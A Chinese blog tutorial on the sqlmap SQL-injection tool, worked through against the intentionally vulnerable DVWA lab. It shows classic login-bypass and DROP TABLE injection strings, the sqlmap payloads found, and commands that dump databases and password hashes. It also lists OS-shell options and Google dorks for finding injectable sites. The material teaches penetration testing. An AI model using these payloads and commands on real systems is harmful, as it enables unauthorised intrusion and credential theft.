煮酒听雨
首页
PHP
MYSQL
WEB
Linux
关于本站
登陆
注册
浅析SQLmap
编辑时间:2019-07-27
编辑:忘尘
阅读:2057
####Sqlmap是什么 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: - 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。 - 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。 - 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。 - 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。 - 支持自动识别密码哈希格式并通过字典破解密码哈希。 - 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。 - 支持在数据库管理系统中搜索指定的数据库名、表名或列名 ####sqlmap支持五种不同的注入模式: - 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 - 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 - 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 - 联合查询注入,可以使用union的情况下的注入。 - 堆查询注入,可以同时执行多条语句的执行时的注入。 <hr> <br> ####什么是sql注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。 ####SQL注入攻击示例 ```sql select * from users where username=' "+userName+" ' and password=' "+password+" '; ``` #####1. 构造一个特殊的字符串 "' or 1 = 1 # " 当输入了用户名: "' or 1 = 1 # ",密码为任意字符串,构造后的SQL语句变成: ```sql SELECT * FROM users WHERE username='' or 1 = 1 # and password= 'xxx' 等价于 SELECT * FROM users ``` 语义分析:条件username='' or 1=1 # 用户名等于 '' 或 1=1 ,这个条件一定会成功,因为1=1永远是都是成立的,即where子句总是为真,此时会返回user表数据。'#'符号在mysql中是注释符,这样#号后面的内容将被mysql视为注释内容,让它们不起作用,这样sql语句能正确执行,非法用户轻易骗过系统,获取合法身份。 <br> #####1. 在已知用户名的情况下,输入密码 "admin'#" 假设存在用户名:admin,构造后的语句变成 ```sql SELECT * FROM users WHERE username='admin'#' and password= 'xxx' 等价于 SELECT * FROM users WHERE username='admin' ``` 语义分析:条件username='admin' 这个条件一定会成功,即where子句总是为真,这样即可不能输入密码登入上去了。因为admin'#,这种方式注入又称万能密码,是已知用户名的情况下,可绕过输入密码进入登录,达到注入的目的。 <hr> <br/> ####SQL注入原理 存在注入的原因是因为后台在编写程序时,没有对用户输入的数据做过滤导致的,正如事实上,不是所有的用户都是友好的; 比如:用户在某个输入框提交的参数是 2 浏览器提交的URL为: http:// www.XXX.com/index.php?id=2 服务器后台执行SQL语句: ```sql select * from user where id = 2 ``` 返回Response,浏览器解析返回的页面,然后你就看到新的页面了 如果邪恶的用户提交的参数是 2;drop table user 服务器后台执行SQL语句: ```sql select * from table1 where id =2 ; drop table users ``` 相当于后台执行了两条SQL语句,查表,并且把表users删除了,从而导致了SQL注入。 #####按照这个思路,注入的一般步骤: 1. 判断是否存在注入点(数字型注入),根据返回结果判断是否存在注入漏洞 1. 判断后台数据库类型 可以根据不同数据库特有的表,或者根据不同数据库的语法不同进行判断,知道是哪种类型数据库后就可以选择对应语法构造SQL语句进行攻击 1. 针对不同的服务器和数据库特点进行SQL注入攻击 <hr> <br> ####安装SQLMap 1. 安装python 由于SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行 下载:https://www.python.org/ 选择适合版本下载安装即可,需要安装python2.7.x以上 2. 安装SQLMap 官网 http://sqlmap.org/ 选择最近版本安装即可,需注意的是下载版本所需python版本 3. 设置安装环境变量 <hr> ####测试执行sqlmap.py 如果出现这个界面,表示安装正常 ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py ___ __H__ ___ ___[']_____ ___ ___ {1.4.6#stable} |_ -| . [,] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help ``` ####查看sqlmap.py 帮助选项 sqlmap.py -h sqlmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。 ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -h ___ __H__ ___ ___[,]_____ ___ ___ {1.4.6#stable} |_ -| . [,] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python sqlmap.py [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs Request: These options can be used to specify how to connect to the target URL --data=DATA Data string to be sent through POST (e.g. "id=1") --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") ...... [!] to see full list of options run with '-hh' ``` <hr> <br> ####1. 安装渗透测试演练系统DVWA DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。 它是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器,包含了SQL注入、XSS、盲注等常见的一些安全漏洞。 官方网站:http://www.dvwa.co.uk 下载地址:https://github.com/ethicalhack3r/DVWA #####安装注意事项: 1.进入config目录复制config.inc.php.dist文件,创建为config.inc.php,并配置数据库参数 ```linux [root@izbp10njz4i1cqmwgzzfmez config]# ll total 12 -rwxrwxrwx 1 root root 1864 Jul 21 11:20 config.inc.php -rwxrwxrwx 1 root root 1857 Jul 21 11:08 config.inc.php.dist [root@izbp10njz4i1cqmwgzzfmez config]# vi config.inc.php $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'db_port '] = '5432'; ``` 2、修改php.ini配置 ```linux magic_quotes_gpc = Off allow_url_fopen = on allow_url_include = on ``` 3、dvwa系统默认登录帐号和密码 ``` username = admin password = password ``` 4、部署DVWA网站系统 访问 http://xxx.xx/setup.php ,检测系统环境,创建测试数据库 <hr> <br> ####使用sqlmap在dvwa项目进行sql注入 #####1、查询是否存在注入点 python sqlmap.py -u "url" 当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后面加上:443, ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -u "url" 执行过程中间会有几个提示选项,每项含义如下: it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] 翻译:看起来后端DBMS是“mysql”。是否要跳过特定于其他DBMS的测试有效负载? #已经识别出来mysql数据库,直接跳过,不在扫描其他类型的数据库,输入Y for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] 翻译:对于其余的测试,是否要包括扩展提供的级别(1)和风险(1)值的“mysql”的所有测试? #不需要其他测试,直接输入n GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] 翻译:get参数“id”易受攻击。你想继续测试其他吗(如果有的话)?[y/n] 输入n ....... Parameter: id (GET) Type: error-based #基于报错注入 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' AND (SELECT 8614 FROM(SELECT COUNT(*),CONCAT(0x71786b7171,(SELECT (ELT(8614=8614,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'EFGz'='EFGz&Submit=Submit&user_token=d208fb2e19770b3395c162679f8b226e Type: time-based blind # 基于时间的盲注 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 1215 FROM (SELECT(SLEEP(5)))RJYa) AND 'gBtR'='gBtR&Submit=Submit&user_token=d208fb2e19770b3395c162679f8b226e Type: UNION query # 联合查询注入 Title: Generic UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x71786b7171,0x7253466a6b726649496c545361654c6e7a4f4d7464725a64524167496e7052685a567956716c5646,0x71706a6b71),NULL-- -&Submit=Submit&user_token=d208fb2e19770b3395c162679f8b226e --- [17:44:35] [INFO] the back-end DBMS is MySQL #数据库类型 web application technology: Nginx, PHP 5.6.36 #web服务器 PHP版本 back-end DBMS: MySQL >= 5.0 #数据库版本 [17:44:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/dvwa.dumo.site' [*] ending @ 17:44:35 /2020-07-22/ ``` 存在注入,下面的操作才可以执行成功。~ 注:如果web应用需要登陆的时候需要携带cookie,有的可能需要携带header等数据。 ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -u "url" --cookie "xxx" ``` #####从文件中加载HTTP请求 sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等) ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -r "cookie和header等信息文件" -r表示加载一个文件 ``` #####非交互模式和启发式快速判断设置 ``` 用此参数,从不询问用户输入,不需要用户输入,将会使用sqlmap提示的默认值 --batch 有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数 --smart ``` #####设置执行测试的等级和执行测试的风险 ``` 级别越高,检测越全面 --level=LEVEL 执行测试的等级(1-5,默认为1) --risk=RISK 执行测试的风险(0-3,默认为1) ``` #####2、列举能列出的所有数据库名 ```linux python sqlmap.py -u "url" --dbs --batch --smart ``` #####3、列出当前使用的数据库名 ```linux python sqlmap.py -u "url" --current-db ``` #####4、列出当前使用的数据库用户名 ```linux python sqlmap.py -u "url" --current-user ``` #####5、判断该注入点是否有管理员权限:返回true 表示是管理员 ```linux python sqlmap.py -u "url" --is-dba ``` #####6、列出当前数据库服务器所有表名 ```linux python sqlmap.py -u "url" --tables ``` #####7、列出指定数据库所有表名 ```linux python sqlmap.py -u "url" -D 库名 --tables 当使用--tables无法获取到数据库的表时,可以使用此参数 参数:--common-tables 暴力破解表名 ``` #####8、列出指定数据库指定表的列名 ```linux python sqlmap.py -u "url" -D 库名 -T 表名 --columns ``` #####9、列出指定数据库各表的条数 ```linux python sqlmap.py -u "url" --count -D 库名 ``` #####10、列出指定数据库各表的条数 ```linux python sqlmap.py -u "url" --count -D 库名 ``` #####11、导出数据库服务器数据 ```linux python sqlmap.py -u "url" --dump ``` #####12、导出指定数据库数据 ```linux python sqlmap.py -u "url" -D 库名 --dump -–dump-all 转储所有的数据库表中的数据 python sqlmap.py -u "url" -–dump-all ``` #####13、导出指定数据库+指定表+指定字段名数据 ```linux python sqlmap.py -u "url" -D 库名 -T 表名 -C 列名,列名 --dump 指定导出条数 python sqlmap.py -u "url" -D 库名 -T 表名 -C 列名,列名 --start 1 --stop 20 --dump ``` #####14、列出数据库用户、密码 ```linux python sqlmap.py -u "url" --users python sqlmap.py -u "url" --passwords #列出指定用户数据库密码 python sqlmap.py -u "url" --passwords -U 用户 ``` #####15、查看数据库权限 ```linux python sqlmap.py -u "url" --privileges #查看指定用户权限 python sqlmap.py -u "url" --privileges -U 用户 ``` #####16、批量从文本文件中解析目标 参数“-u”一次只能指定一个URL,若有多个URL需要测试就显得很不方便,我们可用将多个URL以一行一个的格式保存在文本文件中,然后使用参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。 ```linux python sqlmap.py -m url.txt ``` #####url.txt模板 ```linux www.xxxx.com/index.php?id=1 www.xxxx.com/admin.php?id=2 .... ``` <hr> <br> ####POST数据包注入 ```linux python sqlmap.py -u "url" --data "xxxx" ``` 1、 用POST进行注入 ```linux python sqlmap.py -u "url" --cookie="xxx" --data="xxxx" --dbs -batch -smart ``` 2、批量进行POST注入测试 ```linux sqlmap.py -l burp.txt -batch -smart ``` #####burp.txt模板 可以直接把Burp(攻击web应用程序)或者WebScarab(http消息分析工具)中的proxy日志直接倒出来交给sqlmap来一个一个检测是否有注入 ```linux ====================================================== 10:10:10 http://xx.xxx.xx [127.0.0.1] ====================================================== POST /vulnerabilities/xss_s/ HTTP/1.1 Host: xx.xxx.xx Connection: keep-alive Content-Length: 60 Pragma: no-cache Cache-Control: no-cache Origin: http://xx.xxx.xx Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://xx.xxx.xx/vulnerabilities/xss_s/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: td_cookie=2626065478; pgv_pvi=2545177600; PHPSESSID=9lbp08cqn4jaqruevnmipk9bg2; security=low; td_cookie=2549828506 txtName=momo&mtxMessage=test+insecure&btnSign=Sign+Guestbook (post的数据) ====================================================== ``` <hr> <br> ####通过GOOGLE搜索处理Google dork的结果作为目标URL ```linux python sqlmap.py -g '关键词' ``` 谷歌搜索语法 google搜索栏输入: inure:admin.php?id= ```linux python sqlmap.py -g "admin.php?id=" --batch --smart ``` 好的关键词才能匹配好的注入点如 ?id= ```linux python sqlmap.py -g "inurl:\".php?id=\"" ``` <hr> <br> #### 运行自定义的SQL语句: - -sql-shell 和 - -sql-query 这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。<font color=red>但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。</font> ```linux python sqlmap.py -u "url" --sql-shell ``` #####示例:查询当前数据库 和 查询数据库管理员列表 - -sql-shell ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -u "url" --sql-shell ___ __H__ ___ ___[)]_____ ___ ___ {1.4.6#stable} |_ -| . [.] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org ...... [18:01:33] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.6.36 back-end DBMS: MySQL >= 5.0 [18:01:33] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql-shell> select database() [18:03:22] [INFO] fetching SQL SELECT statement query output: 'select database()' select database(): 'dvwa' sql-shell> sql-shell> select host,user,password from mysql.user [18:06:05] [INFO] fetching SQL SELECT statement query output: 'select host,user,password from mysql.user' select host,user,password from mysql.user [1]: [*] %, root, *XXXXXXXXXXXX ``` #####示例:找到含有password字段的表 - -sql-shell ```linux sql-shell> select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%pass%' [18:16:16] [INFO] fetching SQL SELECT statement query output: 'select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%pass%'' select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%pass%' [19]: [*] users, password [*] f_faqattachment, password_hash [*] f_faquserlogin, pass [*] user, Password [*] fa_user, password ``` #####示例:找到含有特定字符串的表名 - -sql-shell select table_name from information_schema.tables where table_schema='库名' and table_name like '%表名字符串%'; ``` sql-shell> select table_name from information_schema.tables where table_schema='dvwa' and table_name like '%use%' [18:32:20] [INFO] fetching SQL SELECT statement query output: 'select table_name from information_schema.tables where table_schema='dvwa' and table_name like '%use%'' select table_name from information_schema.tables where table_schema='dvwa' and table_name like '%use%': 'users' ``` <hr> #####示例:查询当前数据库 - -sql-query ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -u "url" --cookie "xxx" –sql-query="select database()" --- [20:46:19] [INFO] fetching SQL SELECT statement query output: 'select database()' select database(): 'dvwa' ..... [*] ending @ 20:46:19 /2020-07-23/ ``` #####示例:查询数据库管理员列表 - -sql-query ```linux [root@izbp10njz4i1cqmwgzzfmez sqlmap]# python sqlmap.py -u "url" --cookie "xxx" –sql-query="select host,user,password from mysql.user" ..... [20:51:37] [INFO] fetching SQL SELECT statement query output: 'select host,user,password from mysql.user' select host,user,password from mysql.user [1]: [*] %, root, *AA80EAEFXXXXXXXXXXXXXXX .... ``` ####sqlmap常用参数: ```linux Options(选项): -h, -–help 显示此帮助消息并退出 -hh 显示更多帮助信息并退出 –-version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为1) Target(目标): 以下至少需要设置其中一个选项,设置目标URL。 -d DIRECT 直接连接到数据库。 -u URL, –url=URL 目标URL。 -l LIST 从Burp或WebScarab代理的日志中解析目标。 -r REQUESTFILE 从一个文件中载入HTTP请求。 -g GOOGLEDORK 处理Google dork的结果作为目标URL。 -c CONFIGFILE 从INI配置文件中加载选项。 Request(请求): 这些选项可以用来指定如何连接到目标URL。 -–data=DATA 通过POST发送的数据字符串 -–cookie=COOKIE HTTP Cookie头 -–cookie-urlencode URL 编码生成的cookie注入 –-drop-set-cookie 忽略响应的Set – Cookie头信息 –-user-agent=AGENT 指定 HTTP User – Agent头 -–random-agent 使用随机选定的HTTP User – Agent头 -–referer=REFERER 指定 HTTP Referer头 -–headers=HEADERS 换行分开,加入其他的HTTP头 -–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) -–auth-cred=ACRED HTTP身份验证凭据(用户名:密码) -–auth-cert=ACERT HTTP认证证书(key_file,cert_file) -–proxy=PROXY 使用HTTP代理连接到目标URL -–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码) -–ignore-proxy 忽略系统默认的HTTP代理 -–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒 -–timeout=TIMEOUT 等待连接超时的时间(默认为30秒) -–retries=RETRIES 连接超时后重新连接的时间(默认3) -–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 -–safe-url=SAFURL 在测试过程中经常访问的url地址 -–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL Optimization(优化): 这些选项可用于优化SqlMap的性能。 -o 开启所有优化开关 –predict-output 预测常见的查询输出 –keep-alive 使用持久的HTTP(S)连接 –null-connection 从没有实际的HTTP响应体中检索页面长度 –threads=THREADS 最大的HTTP(S)请求并发量(默认为1) Injection(注入): 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 -p TESTPARAMETER 可测试的参数(S) –dbms=DBMS 强制后端的DBMS为此值 –os=OS 强制后端的DBMS操作系统为这个值 –prefix=PREFIX 注入payload字符串前缀 –suffix=SUFFIX 注入payload字符串后缀 –tamper=TAMPER 使用给定的脚本(S)篡改注入数据 Detection(检测): 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 –level=LEVEL 执行测试的等级(1-5,默认为1) –risk=RISK 执行测试的风险(0-3,默认为1) –string=STRING 查询时有效时在页面匹配字符串 –regexp=REGEXP 查询时有效时在页面匹配正则表达式 –text-only 仅基于在文本内容比较网页 Techniques(技巧): 这些选项可用于调整具体的SQL注入测试。 –technique=TECH SQL注入技术测试(默认BEUST) –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) –union-cols=UCOLS 定列范围用于测试UNION查询注入 –union-char=UCHAR 用于暴力猜解列数的字符 Fingerprint(指纹): -f, –fingerprint 执行检查广泛的DBMS版本指纹 Enumeration(枚举): 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL语句。 -b, –banner 检索数据库管理系统的标识 –current-user 检索数据库管理系统当前用户 –current-db 检索数据库管理系统当前数据库 –is-dba 检测DBMS当前用户是否DBA –users 枚举数据库管理系统用户 –passwords 枚举数据库管理系统用户密码哈希 –privileges 枚举数据库管理系统用户的权限 -–roles 枚举数据库管理系统用户的角色 -–dbs 枚举数据库管理系统中的数据库名称 -–tables 枚举的数据库中的表名称 -–columns 枚举DBMS数据库表列 -–dump 转储数据库中的表数据 -–dump-all 转储所有的数据库表中的数据 -–search 搜索列(S),表(S)和/或数据库名称(S) -D DB 指定进行枚举的数据库名 -T TBL 要指定操作的数据库表名称 -C COL 要进行枚举的数据库列 -U USER 用来进行枚举的数据库用户 –exclude-sysdbs 枚举表时排除系统数据库 –start=LIMITSTART 第一个查询输出进入检索 –stop=LIMITSTOP 最后查询的输出进入检索 –first=FIRSTCHAR 第一个查询输出字的字符检索 –last=LASTCHAR 最后查询的输出字字符检索 –sql-query=QUERY 要执行的SQL语句 –sql-shell 提示交互式SQL的shell Brute force(蛮力): 这些选项可以被用来运行蛮力检查。 –common-tables 检查存在共同表 –common-columns 检查存在共同列 User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。 –udf-inject 注入用户自定义函数 –shared-lib=SHLIB 共享库的本地路径 File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。 –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。 –os-cmd=OSCMD 执行操作系统命令 –os-shell 交互式的操作系统的shell –os-pwn 获取一个OOB shell,meterpreter或VNC –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC –os-bof 存储过程缓冲区溢出利用 –priv-esc 数据库进程用户权限提升 –msf-path=MSFPATH Metasploit Framework本地的安装路径 –tmp-path=TMPPATH 远程临时文件目录的绝对路径 Windows注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows注册表。 –reg-read 读一个Windows注册表项值 –reg-add 写一个Windows注册表项值数据 –reg-del 删除Windows注册表键值 –reg-key=REGKEY Windows注册表键 –reg-value=REGVAL Windows注册表项值 –reg-data=REGDATA Windows注册表键值数据 –reg-type=REGTYPE Windows注册表项值类型 General(一般): 这些选项可以用来设置一些一般的工作参数。 -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 -s SESSIONFILE 保存和恢复检索会话文件的所有数据 –flush-session 刷新当前目标的会话文件 –fresh-queries 忽略在会话文件中存储的查询结果 –eta 显示每个输出的预计到达时间 –update 更新SqlMap –save file保存选项到INI配置文件 –batch 从不询问用户输入,使用所有默认配置。 Miscellaneous(杂项): –beep 发现SQL注入时提醒 –check-payload IDS对注入payloads的检测测试 –cleanup SqlMap具体的UDF和表清理DBMS –forms 对目标URL的解析和测试形式 –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果 –page-rank Google dork结果显示网页排名(PR) –parse-errors 从响应页面解析数据库管理系统的错误消息 –replicate 复制转储的数据到一个sqlite3数据库 –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址 –wizard 给初级用户的简单向导界面 好用的注入关键词 sqlmap.py -g "inurl:\".php?id=1\"" --batch 自动选yes --smart 启发式快速判断 ```
来说两句吧
提交评论
最新评论
我的标签
函数
面试
REDIS
LNMP
验证
时间
JS
LINUX
CPA
常量
MYSQL
备份
微信
文件
压缩
优化
SVN
PHP
集合
数组
HTML
收藏
NGINX
配置
日志
性能
加密
下载
FORM
WEB
样式
SQL
表单
配置,面试,REDIS
编码
ARRAY
替换
截取
密码
版本
进程
定时
测试
事务
数据
权限
安全
防火墙
索引
设计模式
安全,面试
缓存
热文排行
LNMP状态管理命令
navicat for mysql 导入xlsx,
(置顶)开发中常用功能知识点笔记
(置顶)收藏优秀分享文章集合
PHP加密解密算法(Discuz!经典代码)
PHP 获取数组第一个元素或最后一个值
Nginx配置 nginx.conf 文件中常用配
MySQL错误日志 [Warning] IP ad
Redis持久化:快照(RDB)和AOF简解
浅析SQLmap
随机文章
友情链接
官方手册
thinkphp
php扩展
Linux命令
lnmp
PHP中文网
鸟哥Linux私房
Nginx中文文档
json格式化
Redis手册
composer中文文档
CentOS下载
流程图
VPN代理
菜鸟网
奇淼教程
首页
PHP
MYSQL
WEB
Linux
关于本站
登陆
注册